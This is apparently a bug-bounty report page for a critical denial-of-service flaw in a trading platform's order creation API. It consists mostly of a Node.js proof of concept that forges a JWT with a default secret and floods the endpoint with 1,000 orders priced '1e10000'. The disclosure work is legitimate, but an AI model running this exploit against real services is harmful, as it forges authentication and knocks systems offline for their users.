#48436 [W&A-Critical] Dos is possible through the order creation api
Previous#47741 [W&A-Insight] Missing JWT_SECRET in Env Allows Token Forgery via Empty SecretNextParadex | IOP
Was this helpful?
Was this helpful?
Was this helpful?
const axios = require('axios');
const jwt = require('jsonwebtoken');
const JWT_SECRET = 'ChangeMe123!';
const TARGET = 'http://localhost:3000';
const ADDRESS = 'ZxCkZcmXVGbEW2jTcUUE4AP65Hfni4Sc56iFDB3n7y9B4ykhVGk7Zpu7SMPTR64ezEWJvXHQui84vDWY9bn8eoof15G2NgvGR'; // <- existing address
const ALIAS = 'demoAlias'; // <- matching alias
const token = jwt.sign({ address: ADDRESS, alias: ALIAS }, JWT_SECRET, {
expiresIn: '24h',
});
const orderData = {
pairId: 1,
side: 'limit',
type: 'buy',
price: '1e10000',
amount: '1',
};
const totalRequests = 1000;
let completedRequests = 0;
for (let i = 0; i < totalRequests; i++) {
axios
.post(`${TARGET}/api/orders/create`, { token, orderData })
.then((res) => {
console.log(`Request ${i+1}/${totalRequests}:`, res.status, res.data);
completedRequests++;
if (completedRequests === totalRequests) {
console.log('All requests completed');
}
})
.catch((err) => {
console.error(`Request ${i+1}/${totalRequests}:`, err.response?.status, err.response?.data);
completedRequests++;
if (completedRequests === totalRequests) {
console.log('All requests completed');
}
});
}